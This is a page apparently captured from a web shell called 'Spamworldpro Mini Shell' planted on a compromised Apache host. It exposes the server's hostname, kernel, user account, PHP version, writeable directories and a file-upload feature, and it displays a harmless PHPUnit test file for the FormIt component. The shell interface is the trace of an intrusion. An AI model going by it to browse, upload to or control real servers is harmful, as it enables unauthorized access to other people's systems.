Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/public_html/core/components/formit/test/Tests/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/palandch/public_html/core/components/formit/test/Tests/Core/FormItClassTest.php
<?php
/**
 * @package formit-test
 */
/**
 * Tests related to basic FormIt class methods
 *
 * @package formit-test
 * @group Core
 */
class FormItClassTest extends FiTestCase {

    /**
     * Test the FormIt::initialize method and ensure it returns true.
     *
     * @return void
     */
    public function testInitialize() {
        $success = $this->formit->initialize();
        $this->assertTrue($success,'FormIt::initialize() did not return true.');
    }

    /**
     * Test FormIt::loadRequest and ensure it loads a fiRequest instance
     *
     * @todo Test passing a custom request class and path
     * 
     * @return void
     */
    public function testLoadRequest() {
        $request = $this->formit->loadRequest();

        $this->assertInstanceOf('fiRequest',$request,'FormIt::loadRequest did not return an fiRequest type.');
    }
}

Spamworldpro Mini